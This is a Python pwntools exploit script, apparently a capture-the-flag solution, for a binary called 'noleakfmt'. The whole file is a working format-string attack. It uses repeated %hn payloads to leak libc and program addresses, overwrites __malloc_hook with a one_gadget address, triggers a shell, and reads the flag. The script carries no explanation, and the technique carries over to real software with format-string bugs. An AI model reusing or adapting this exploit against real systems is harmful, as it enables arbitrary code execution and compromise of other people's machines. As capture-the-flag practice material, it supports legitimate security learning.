# encoding=utf-8
from pwn import *

file_path = "./noleakfmt"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x985)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0


start_address = 0x7B0
malloc_hook_low = 0x10

while True:
    try:

        p.recvuntil("gift : ")
        stack_address = int(p.recvline().strip(b"\n"), 16)
        log.success("stack address {}".format(hex(stack_address)))

        stack_address_low = u16(p64(stack_address)[:2])
        log.success("stack address low 2 bytes {}".format(hex(stack_address_low)))

        if stack_address_low > 0x2000 or stack_address_low < 0x66c:
            raise EOFError
        payload = "%{}c%11$hn".format(str(stack_address_low- 0xc))
        p.sendline(payload)
        time.sleep(0.5)

        # gdb.attach(p, "b *$rebase(0x985)")

        # 37, 39
        payload = "%{}c%37$hn".format(str(start_address))
        p.sendline(payload)
        time.sleep(0.5)

        payload = "%{}c%10$hn".format(str(stack_address_low - 0x54))
        p.sendline(payload)
        time.sleep(0.5)

        payload = "%{}c%36$hhn".format(str(0x90))
        p.sendline(payload)
        time.sleep(0.5)

        payload = "%{}c%26$hhn".format(str(0x2))
        p.sendline(payload)
        time.sleep(0.5)
        p.recv(2, timeout=1)

        payload = "%9$p--"
        p.sendline(payload)
        libc.address = int(p.recvuntil("--", drop=True), 16) - 240 - libc.sym['__libc_start_main']
        log.success("libc address {}".format(hex(libc.address)))

        payload = "%8$p--"
        p.sendline(payload)
        elf.address = int(p.recvuntil("--", drop=True), 16)
        log.success("elf address {}".format(hex(elf.address)))

        break
    except:
        try:
            p.close()
        except:
            continue
        if debug:
            p = process([file_path])

        else:
            p = remote('', 0)

gdb.attach(p, "b *$rebase(0x985)")

# write malloc_hook address to the stack
malloc_hook_address = libc.sym['__malloc_hook']
payload = "%{}c%10$hn--".format(str(stack_address_low - 0x5C))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%36$hn--".format(str(malloc_hook_address & 0xffff))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%10$hn--".format(str(stack_address_low - 0x5C + 0x2))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%36$hn--".format(str((malloc_hook_address >> 16) & 0xffff))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%10$hn--".format(str(stack_address_low - 0x5C + 0x4))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%36$hn--".format(str((malloc_hook_address >> 32) & 0xffff))
p.sendline(payload)
p.recvuntil("--")

# write one_gadget address to malloc_hook
one_gadget_address = one_gadget[3]+libc.address

payload = "%{}c%10$hn--".format(str(stack_address_low - 0x5C))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%25$hn--".format(str(one_gadget_address & 0xffff))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%36$hhn--".format(str(malloc_hook_low + 0x2))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%25$hn--".format(str((one_gadget_address >> 16) & 0xffff))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%36$hhn--".format(str(malloc_hook_low + 0x4))
p.sendline(payload)
p.recvuntil("--")

payload = "%{}c%25$hn--".format(str((one_gadget_address >> 32) & 0xffff))
p.sendline(payload)
p.recvuntil("--")

p.sendline("%99999c%10$n")

p.sendline("cat flag 1>&2")
p.interactive()
